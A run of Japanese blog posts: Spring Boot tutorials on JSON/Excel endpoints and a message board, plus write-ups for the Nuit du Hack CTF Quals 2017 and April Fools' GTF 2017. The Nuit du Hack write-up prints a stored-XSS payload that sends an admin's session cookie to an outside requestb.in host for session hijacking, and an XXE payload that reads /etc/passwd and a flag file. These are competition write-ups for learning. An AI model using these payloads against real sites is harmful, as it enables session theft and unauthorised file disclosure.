Woow, you got the flag :) ASIS{gj____Finally_y0u_have_found_This_is_Franklin-Reiter's_attack_CongratZ_ZZzZ!_!!!}

所感

他に解きたかった問題は以下。

  • our weird OS! (Trivia 19)
  • DLP (Crypto 158)
  • Unusable Disk (Forensics 143)
  • R Re Red … (Web/Warm-up 29)
  • Secured Portal (Web/Warm-up 61)
  • Tar Bomb (Web/Misc 129)
  • Random generator (Pwning/Warm-up 95)
  • Defaulter (Pwning 186)

関連リンク

Spring BootでJSONやExcelファイルを返すエンドポイントを作ってみる

「Spring Bootで簡単なWebアプリケーションを書いてみる」では、Spring Bootで簡単なWebアプリケーションを書いた。 ここでは作成したアプリケーションをベースに、APIとしてJSONを返したり、Excelファイルとしてダウンロードするエンドポイントを作ってみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

APIとしてJSONを返してみる

まず、APIとして直近のメッセージをJSONとして返すエンドポイントを作ってみる。 以下のコードは、「Spring Bootで簡単なWebアプリケーションを書いてみる」で作ったアプリケーションをベースとする。

JSONを返すエンドポイントを作るには、Controllerに次のようなメソッドを追加する。

  • src/main/java/com.example/MessageController.java
package com.example;

(snip)
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    (snip)

    @RequestMapping("/messages.json")
    @ResponseBody
    public List<Message> messagesJson() {
        List<Message> messages = service.getRecentMessages(100);
        return messages;
    }

}

@RequestMappingはGET、POSTを問わないエンドポイントを表す。 メソッドに@ResponseBodyをつけJavaオブジェクトを返すようにすると、返り値がJacksonライブラリにより自動的にJSONに変換されて返される。

アプリケーションを起動した後適当なメッセージを投稿し、http://localhost:8080/messages.json にアクセスすると次のようになる。

$ curl -v http://localhost:8080/messages.json
(snip)
> GET /messages.json HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.49.1
> Accept: */*
>
(snip)
< HTTP/1.1 200
< Content-Type: application/json;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Thu, 06 Apr 2017 13:49:22 GMT
<
(snip)
[{"id":3,"name":"name3","text":"text3","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486551864},{"id":2,"name":"name2","text":"text2","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486548343},{"id":1,"name":"name1","text":"text1","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486544112}]

テーブルの内容がJSONで返ってきていることが確認できる。

Excelファイルとしてダウンロードできるようにしてみる

業務アプリケーションでは、データベースの内容をExcelファイルとしてエクスポートする機能が求められる場合がある。 Spring Frameworkでは、Apache POIというライブラリを使うことでExcelファイルを返すViewを作ることができる。 ここでは、直近のメッセージをxlsx形式でダウンロードする機能を作ってみる。

Apache POIは標準では付属しないので、まずプロジェクトにライブラリを追加する必要がある。 保存するファイル形式がxls形式の場合はpoiライブラリ、xlsx形式の場合はpoi-ooxmlライブラリが必要となる。

STSでは、標準でプロジェクトマネージャとしてMavenを使いライブラリを管理している。 ここで、MavenのCentral Repositoryを検索すると、poi-ooxmlの最新stable版が3.15であることがわかる。

プロジェクトにpoi-ooxml 3.15を追加するには次のようにする。

  • 「demo [boot]」を右クリックして、「Maven」→「Add Dependency」を選択
  • ダイアログの各フィールドに以下の文字列を入力してOK
    • GroupId: org.apache.poi
    • ArtifactId: poi-ooxml
    • Version: 3.15

これにより、poi-ooxmlが依存する各種ライブラリも合わせて追加される。

Excelファイルを返すエンドポイントを作るには、Controllerに次のようなメソッドを追加する。

  • src/main/java/com.example/MessageController.java
package com.example;

(snip)
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    (snip)

    @RequestMapping("/messages.xlsx")
    public ModelAndView messagesXlsx() {
        List<Message> messages = service.getRecentMessages(100);
        return new ModelAndView(new MessagesXlsxView(), "messages", messages);
    }

}

Excelファイルを構築するViewは次のようになる。

  • src/main/java/com.example/MessagesXlsxView.java
package com.example;

import java.text.SimpleDateFormat;
import java.util.List;
import java.util.Map;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.util.CellRangeAddress;
import org.springframework.web.servlet.view.document.AbstractXlsxView;

public class MessagesXlsxView extends AbstractXlsxView {

    @Override
    protected void buildExcelDocument(Map<String, Object> model, Workbook workbook, HttpServletRequest request,
            HttpServletResponse response) throws Exception {
        @SuppressWarnings("unchecked")
        List<Message> messages = (List<Message>) model.get("messages");
        
        Sheet sheet = workbook.createSheet("Recent messages");
        
        // create header
        Row row = sheet.createRow(0);
        row.createCell(0).setCellValue("ID");
        row.createCell(1).setCellValue("Name");
        row.createCell(2).setCellValue("Text");
        row.createCell(3).setCellValue("RemoteAddr");
        row.createCell(4).setCellValue("CreatedAt");
        
        // create body
        SimpleDateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i=0; i<messages.size(); i++) {
            Message message = messages.get(i);
            row = sheet.createRow(i+1);
            row.createCell(0).setCellValue(message.getId());
            row.createCell(1).setCellValue(message.getName());
            row.createCell(2).setCellValue(message.getText());
            row.createCell(3).setCellValue(message.getRemoteAddr());
            row.createCell(4).setCellValue(dateFormatter.format(message.getCreatedAt()));
        }
        
        // enable auto filter
        sheet.setAutoFilter(new CellRangeAddress(0, 0, 0, 4));
        
        // adjust column width
        for (int i=0; i<5; i++) {
            sheet.autoSizeColumn(i);
        }
    }

}

xlsx形式の場合はAbstractXlsxView、xls形式の場合はAbstractXlsViewを継承する。

アプリケーションを起動した後適当なメッセージを投稿し、http://localhost:8080/messages.xlsx にアクセスすると次のようになる。

$ curl -I http://localhost:8080/messages.xlsx
HTTP/1.1 200
Pragma: private
Cache-Control: private, must-revalidate
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
Content-Language: ja-JP
Content-Length: 3711
Date: Thu, 06 Apr 2017 13:49:29 GMT

3713バイトのapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheetが返っていることがわかる。 また、ブラウザでアクセスすると、構築したExcelファイルがダウンロードできることが確認できる。

f:id:inaz2:20170406225333p:plain

PDFファイルの構築とダウンロード

Springでは、AbstractPdfViewとitextライブラリを使うことで、PDFファイルを構築して返すことも可能である。 全体の流れはExcelファイルの場合と同様であるため、ここでは省略する。

関連リンク

Spring Bootで簡単なWebアプリケーションを書いてみる

JavaでWebアプリケーションを開発する際のフレームワークとして、近年Apache Strutsに代わりSpring Frameworkが広く使われている。 ここでは、Springが提供するBootstrapフレームワークSpring Bootを用いて、簡単なWebアプリケーションを書いてみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

JDK 8のインストール

まず、Java開発環境であるJDK 8をインストールする。 JDKをインストールすると、実行環境であるJREも同時にインストールされる。

Spring Tool Suite (STS) のダウンロード

次に、EclipseベースのIDEであるSpring Tool Suite (STS) をダウンロードする。

spring-tool-suite-3.8.4.RELEASE-e4.6.3-win32-x86_64.zipを展開し、STS.exeを実行する。 初回起動時にWorkspace(プロジェクトの保存先)を聞かれるので、適当なパスを指定しOKを選択すると、STSが起動する。

Spring FrameworkとSpring Boot

Spring Frameworkは、Dependency Injection(DI)とAspect-oriented programming(AOP)と呼ばれる設計手法を活用したJavaフレームワークである。 これらの手法により、従来のフレームワークに対して、比較的簡潔にプログラムを実装することができる。

Spring Bootは、Springの各種プロジェクトを使って簡単にWebアプリケーションを書くことができるBootstrapフレームワークである。 Spring BootにはApache Tomcatが付属しており、従来のWARファイルを作成してアプリケーションサーバにデプロイする方法の他に、実行可能JARを作成して単独でTomcatサーバを起動する方法を選ぶことができる。

Spring Bootで簡単なWebアプリケーションを書いてみる

ここでは、Webアプリケーションとして簡単な掲示板を作ることにする。 また、構築を簡単にするために、データベースとしてMySQL等の代わりにJava製インメモリDBであるH2を利用する。

まず、STSでプロジェクトを作成する。

  • メニューバーから「File」→「New」→「Spring Starter Project」を選択
  • Nameを適当に設定し(ここではdemoのままとする)、PackagingにWarを選択してNext
  • DependenciesとしてWeb、Thymeleaf、JPA、H2を選択してNext、Finish

Spring Bootのテンプレートが展開されるので、順に必要なクラスファイルを作成していく。 クラスファイルを新規作成するには、例えばsrc/main/java/com.example/MessageController.javaの場合次のようにする。

  • 「src/main/java/com.example」を右クリックして「New」→「Class」を選択
  • NameにMessageControllerを入力してFinish

以降に述べるすべてのファイルを作成した後の、Package Explorerスクリーンショットを次に示す。

f:id:inaz2:20170405195657p:plain

Web (Spring MVC)

Spring MVCは、MVCフレームワークでWebアプリケーション開発を行うためのライブラリであり、Spring Frameworkの中核を担うものである。 RubyにおけるRailsPythonにおけるDjangoに対応。

HTTPリクエストを処理するControllerは次のようになる。

  • src/main/java/com.example/MessageController.java
package com.example;

import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    @GetMapping("/messages")
    public String messages(Model model) {
        model.addAttribute("messageForm", new MessageForm());

        List<Message> messages = service.getRecentMessages(100);
        model.addAttribute("messages", messages);

        return "messages";
    }

    @PostMapping("/messages")
    public String messagesPost(Model model, @Valid MessageForm messageForm, BindingResult bindingResult, HttpServletRequest request) {
        if (bindingResult.hasErrors()) {
            List<Message> messages = service.getRecentMessages(100);
            model.addAttribute("messages", messages);
            return "messages";
        }

        service.save(new Message(messageForm.getName(), messageForm.getText(), request.getRemoteAddr()));
        return "redirect:/messages";
    }

}

@GetMappingおよび@PostMappingはそれぞれHTTPのエンドポイントに対応しており、アノテーションが付けられた関数がリクエストに応じて実行される。 returnで返される文字列はViewのテンプレートファイル名を表しており、redirect:がついている場合はそのエンドポイントにHTTPリダイレクトが行われる。 また、@AutowiredDependency Injectionを意味しており、MessageServiceのインスタンスが実行時に代入される。

フォームから送信されるパラメータを定義するクラスは次のようになる。

  • src/main/java/com.example/MessageForm.java
package com.example;

import javax.validation.constraints.Size;

public class MessageForm {

    @Size(max=80)
    private String name;

    @Size(min=1, max=140)
    private String text;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getText() {
        return text;
    }

    public void setText(String text) {
        this.text = text;
    }

}

@Sizeアノテーションにより、各パラメータの制約が指定されている。 この制約はControllerの@Validアノテーションによりチェックされ、エラーがある場合はエラーメッセージがViewに渡される。

Thymeleaf

Thymeleafはテンプレートエンジンであり、従来のJSPに代わるものである。 RubyにおけるERB、PythonにおけるJinja2に対応。

テンプレートファイルは次のようになる。

  • src/main/resources/templates/messages.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8" />
<title>Hello, Spring Boot!</title>
</head>
<body>
<h1>Hello, Spring Boot!</h1>

<form action="#" th:action="@{/messages}" th:object="${messageForm}" method="post">
    <p>Name (optional): <input type="text" th:field="*{name}" />
       <em th:if="${#fields.hasErrors('name')}" th:errors="*{name}">Name Error</em></p>
    <p><textarea cols="40" rows="4" placeholder="Type anything" th:field="*{text}"></textarea>
       <em th:if="${#fields.hasErrors('text')}" th:errors="*{text}">Text Error</em></p>
    <p><input type="submit" value="Submit" /></p>
</form>

<h2>Recent messages</h2>

<dl>
    <th:block th:each="message : ${messages}">
        <dt>
            <span class="name" th:text="${message.name}" th:attr="title=${message.remoteAddr}">John Doe</span>
            <small th:text="${#dates.format(message.createdAt, '(yyyy-MM-dd HH:mm:ss)')}">(1970-01-01 00:00:00)</small>
        </dt>
        <dd th:text="${message.text}">Lorem ipsum dolor sit amet</dd>
    </th:block>
</dl>

</body>
</html>

Thymeleafではth名前空間を用いて構造を記述する。 要素テキストの出力にth:textを用いることで、HTMLエスケープが自動で行われる。 このとき、テンプレート中の要素テキストは無視されるため、例示テキストを記述しておく。

変数は${messages}のようにして参照する。 また、th:objectでオブジェクトを指定し、その下位要素で*{name}のように記述することで指定したオブジェクトのプロパティを参照できる。

HTML要素に対応しないブロック構造はth:blockで表すことができる。

JPA

JPAJavaのオブジェクトとDBのリレーションを結び付けるO/Rマッパーである。 JPAを用いることで、DBに依存したSQL文を直接記述することなくデータの取得や保存ができる。 RubyにおけるActive Record、PythonにおけるSQLAlchemyに対応。

一般に、JPAではEntity、Repository、Serviceの三つが実装される。 テーブル定義に対応するEntityクラスは次のようになる。

  • src/main/java/com.example/Message.java
package com.example;

import java.util.Date;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.PrePersist;
import javax.persistence.Temporal;
import javax.persistence.TemporalType;

@Entity
public class Message {

    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    
    @Column(nullable = false)
    private String name;
    
    @Column(nullable = false)
    private String text;
    
    @Column(nullable = false)
    private String remoteAddr;

    @Temporal(TemporalType.TIMESTAMP)
    @Column(updatable = false)
    private Date createdAt;

    // JPA requirement
    protected Message() {}

    public Message(String name, String text, String remoteAddr) {
        this.name = name;
        this.text = text;
        this.remoteAddr = remoteAddr;
    }

    @PrePersist
    public void prePersist() {
        this.createdAt = new Date();
    }

    @Override
    public String toString() {
        return String.format("Message[id=%d, name='%s', text='%s']", id, name, text);
    }

    public Long getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getText() {
        return text;
    }

    public void setText(String text) {
        this.text = text;
    }

    public String getRemoteAddr() {
        return remoteAddr;
    }

    public void setRemoteAddr(String remoteAddr) {
        this.remoteAddr = remoteAddr;
    }

    public Date getCreatedAt() {
        return createdAt;
    }

}

JPAの仕様に従い空のコンストラクタをprotectedで実装する必要があること、Date型には@Temporal(TemporalType.TIMESTAMP)をつける必要があることに注意。 nullが入ることを期待しないフィールドには@Column(nullable = false)をつけておくのが無難である。

Insert時、Update時の処理は、@PrePersist@PreUpdateアノテーションをつけたメソッドで定義できる。 ここでは、@PrePersistでcreatedAtメンバに作成日時をセットし、@Column(updatable = false)かつsetter未定義とすることで更新できないようにしている。 また、idメンバも@GeneratedValue(strategy = GenerationType.AUTO)により自動生成するため、setter未定義としている。

なお、getter/setterメソッドは右クリックから「Source」→「Generate Getter and Setters...」を選択して自動生成すると楽である。

DB操作に対応するRepositoryインタフェースは次のようになる。

  • src/main/java/com.example/MessageRepository.java
package com.example;

import java.util.List;

import org.springframework.stereotype.Repository;
import org.springframework.data.domain.Pageable;
import org.springframework.data.repository.CrudRepository;

@Repository
public interface MessageRepository extends CrudRepository<Message, Long> {

    List<Message> findByOrderByIdDesc(Pageable pageable);

}

CrudRepositoryインタフェースを継承することで、findAll()save()delete()等のメソッドが暗黙に定義される。 また、findByName(String name)のようなメソッドを定義すると、SELECT * FROM messages WHERE name = ?に相当する操作を行うメソッドとなる。 上のコードにおけるfindByOrderByIdDesc()はByの後のカラム名を抜いたもので、SELECT * FROM messages ORDER BY id DESCに相当する。 なお、インタフェースの実装は実行時に自動で提供される。

Controllerに対して公開するServiceクラスは次のようになる。

  • src/main/java/com.example/MessageService.java
package com.example;

import java.util.List;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.PageRequest;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

@Service
public class MessageService {

    @Autowired
    private MessageRepository repository;

    public List<Message> getRecentMessages(Integer n) {
        return repository.findByOrderByIdDesc(new PageRequest(0, n));
    }

    @Transactional
    public void save(Message message) {
        repository.save(message);
    }

}

save()のようなDBに変更を加えるメソッドは、@Transactionalをつけて例外発生時にロールバックされるようにする。 Controllerと同様に、上のコードでも@AutowiredによるDependency Injectionが定義されており、MessageRepositoryのインスタンスが実行時に代入される。

付属のTomcatサーバで動かしてみる

付属のTomcatサーバでWebアプリケーションを動かし、ブラウザからアクセスしてみる。

  • 「demo [boot]」を右クリックして「Run As」→「Spring Boot App」を選択
  • Tomcatが起動したら、ブラウザから http://localhost:8080/messages にアクセス

ブラウザで表示した後のスクリーンショットを次に示す。

f:id:inaz2:20170405195712p:plain

実行を中止しTomcatサーバを停止するには、Stopボタンを押せばよい。

Pivotal tc Serverで動かしてみる

STSでは、デプロイ用サーバとしてPivotal tc Serverが用意されている。 このサーバの上でWebアプリケーションを動かすには、次のようにする。

  • 「demo [boot]」を右クリックして「Run As」→「1 Run on Server」を選択
  • サーバとしてlocalhostのPivotal tc Serverを選択してNext
  • 右側のConfiguredに作成したプロジェクト(ここではdemo)が入っていることを確認してFinish
  • サーバが起動した後、STSの中央ペインでWebブラウザが開くのでそのまま http://localhost:8080/demo/messages にアクセス

サーバを停止させるには、付属のTomcatサーバの場合と同様にStopボタンを押せばよい。

WARファイルを作成してみる

他のアプリケーションサーバにデプロイするためのWARファイルを作成するには次のようにする。

  • 「demo [boot]」を右クリックして「Export...」を選択
  • 「Web」→「WAR file」を選択してNext
  • Destinationに保存先ディレクトリを指定してFinish

関連リンク

Nuit du Hack CTF Quals 2017 供養(Writeup)

Nuit du Hack CTF Quals 2017に参加。410ptで113位。

Slumdog Millionaire (Web 100)

10個の疑似乱数を繋げたトークンとして、次に何が出てくるか求める問題。 seedがプロセスIDになっているので、last winningを一つ取得した後65535通りの総当たりで解ける。

import random

def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers

last_winning = '01-89-05-10-65-27-00-70-16-50'
for i in xrange(65536):
    random.seed(i)
    x = generate_combination()
    if x == last_winning:
        print generate_combination()
$ python test.py
93-70-98-33-99-09-34-89-40-23
Here is the code to claim your 20 NDHcoins: flag{God_does_not_pl4y_dic3}

Purple Posse Market (Web 200)

ショッピングサイト。 Contactページを見ると「管理者がすぐに確認する」という記述があり、XSSがありそうなことがわかる。

とりあえずimg要素を送ると、リクエストがあった。

<img src="http://requestb.in/XXXXXXXX">
HEADERS

Total-Route-Time: 0
Cf-Ipcountry: FR
Host: requestb.in
Accept-Encoding: gzip
Cf-Visitor: {"scheme":"http"}
X-Request-Id: 38bc3fb8-3bb5-4d00-9ff8-d4649cf61945
Connection: close
Connect-Time: 0
Referer: http://localhost:3001/admin/messages/55/
Accept: */*
Accept-Language: en,*
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Cf-Ray: 348c3608c76468ea-CDG
Via: 1.1 vegur
Cf-Connecting-Ip: 163.172.102.12

続けて、メッセージ確認画面のHTMLを調べてみる。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script>
QUERYSTRING

x: <!-- Navigation --> <nav class="navbar navbar-inverse navbar-default" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/">Purple posse market</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav"> <li> <a href="/about">About</a> </li> <li> <a href="/products">Products</a> </li> <li> <a href="/contact">Contact</a> </li> <li> <a href="/admin/messages/">Messages</a> </li> <li> <a href="/admin/">Profile</a> </li> <li> <a href="/admin/logout/">Sign out</a> </li> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container --> </nav> <!-- Page Content --> <div class="container main-container"> <div class="panel panel-default"> <div class="panel-body"> <p>From : aaa@aaa.aaa</p> <p>Message: <span id="message-content"><script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script></span></p></div></div></div>

/admin/ を見れば、プロフィール情報がわかりそうなことがわかる。

この後しばらくXHRやFetch APIを試してみたのだが、うまくいかなかった。 そこで、Cookieの取得を試みたところ、取得することができた。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.cookie) + '">')</script>
QUERYSTRING

x: connect.sid=s%3A3azNpzoe0_TD-YLz3FIt9fQQWTxvzSkF.fC10idxsbkVE7toSkXss41hf8%2FjUKcs0zaTVFlSWOvc

ブラウザの開発者コンソールからdocument.cookieをセットしてセッションハイジャックを行い、/admin/にアクセスすると問題文で求められているIBAN(口座番号)が表示される。

IBAN FR14 2004 1010 0505 0001 3M02 606

No Pain No Gain (Web 75)

CSVを送るとHTMLに変換して表示してくれるページ。 不正なCSVを送ると

Could not convert the CSV to XML! Please follow the example above.

と表示されることから、XXE脆弱性がありそうなことが推測できる。

実際に次のようなCSVを送ると/etc/passwdの内容が表示され、/home/flag以下にフラグがありそうなことがわかる。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
(snip)
flag:x:1000:1000::/home/flag:/bin/sh
</td>
</tr></table>

続けて、次のようなCSVを送ると、フラグが表示された。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///home/flag/flag" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>NDH{U3VwZXIgTWFyaW8gQnJvcw0K44K544O844OR44O844Oe44Oq44Kq44OW44Op44K244O844K6DQpTxatwxIEgTWFyaW8gQnVyYXrEgXp1DQrYs9mI2KjYsdmF2KfYsdmK2Yg=}
</td>
</tr></table>

Matriochka step 1 (Reverse 35)

$ file step1.bin
step1.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d6163f987027c7da0ef01870d1eb4a889c781f5, not stripped

アセンブリコードを読むとargv[1]から計算された文字列と Tr4laLa!!! をstrcmpで比較していることがわかる。 gdbで適当にデバッグすると、argv[1]が逆順に並び換えられていることがわかるので、条件を満たすようにargv[1]を与えると標準エラーにstep2.binが出力された。

$ ./step1.bin '!!!aLal4rT' 2>step2.bin
Well done :)

!!!aLal4rTがフラグ。

所感

他に解きたかった問題は以下。

  • Matriochka step 2 (Reverse 70)
  • Mendeleev (Steganography 20)
  • Divide and rule (Web 120)
  • Entrop3r (Exploit 350)

April Fools' GTF 2017 供養(Writeup)

April Fools' GTF 2017に参加。1809ptで15位。

Welcome!! (Misc 555)

Please input your password.(Today is April Fool)

Today is April Fool がフラグ、かと思いきや何でも通るっぽい。

thinking_face (Trivia 51)

Good GTFs always have trivia tasks.

🤔 (U+1F914) がフラグ。

Japanese Contest (Trivia 61)

What’s the most famous CTF in Japan.

SECCON がフラグ。

Houses (Trivia 91)

Prime
Mind
Force
Lore
Spirit
Chaos
and more?

PhrackとかCardsとかナンチャラとか打った後に、Einherjarと打ったら通った。 Orangeも打っておけばよかった。

O-mikuji (Guess 100, -500)

The flag is a digit.

6と答えると100ptだが、別の数字を答えると-500pt。

Kyo TO Kyo (Guess 75)

Can you read Japanese?

京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京都東京都府西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府京都府京都府西東京都東京都府京都府西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府京都府西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京西東京西東京都東京都府西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府

とりあえず「東京都」を消すと「府」と「西」が残ったので、それぞれ1/0に変換して16進表記したところそれっぽい数字が出た。

$ cat test.txt | sed 's/東京都//g' | sed 's/府/1/g;s/西/0/g'
1000001010001100100011101010100010001100111101101101011011110010011000000110111001100000101111100110100011011100110010001011111001101110011000001101011011110010011000001011111001101000111001000110011010111110110101000110100011100000011010001101110001100110011010100110011010111110110001100110001001101110111100101111101

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = 0b1000001010001100100011101010100010001100111101101101011011110010011000000110111001100000101111100110100011011100110010001011111001101110011000001101011011110010011000001011111001101000111001000110011010111110110101000110100011100000011010001101110001100110011010100110011010111110110001100110001001101110111100101111101
>>> hex(x)
'0x41464754467b6b793037305f346e645f37306b79305f3472335f6a3470346e3335335f633137797dL'
>>> hex(x)[2:-1].decode('hex')
'AFGTF{ky070_4nd_70ky0_4r3_j4p4n353_c17y}'

Scoreserver (Wave 404, 422, 500)

Railsで書かれたスコアサーバに対して、404 Not Found、422 Unprocessable Entity、500 Internal Server Errorが出るリクエストを送る問題。

404は適当なURLにリクエストを投げればよい。

$ curl -v https://score.easterns.kyoto.aka.westerns.tokyo/404
(snip)
> GET /404 HTTP/1.1
> Host: score.easterns.kyoto.aka.westerns.tokyo
> User-Agent: curl/7.49.1
> Accept: */*
>
* STATE: DO => DO_DONE handle 0x6000578a0; line 1659 (connection #0)
* STATE: DO_DONE => WAITPERFORM handle 0x6000578a0; line 1786 (connection #0)
* STATE: WAITPERFORM => PERFORM handle 0x6000578a0; line 1796 (connection #0)
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 404 Not Found
< Keep-Alive: timeout=5, max=100
< Content-Length: 43
< Content-Type: text/html; charset=utf-8
* Server Microsoft-IIS/8.0 is not blacklisted
< Server: Microsoft-IIS/8.0
< Status: 404 Not Found
< X-Request-Id: a877d931-3fda-4e7b-b1b7-641eb0d7a95d
< X-Runtime: 0.002451
< Strict-Transport-Security: max-age=15552000
< Set-Cookie: ARRAffinity=7e9446a8829326b9f60badbd177b48e8d9d142cff612a6b0eb16657aa4ba518d;Path=/;Domain=score.easterns.kyoto.aka.westerns.tokyo
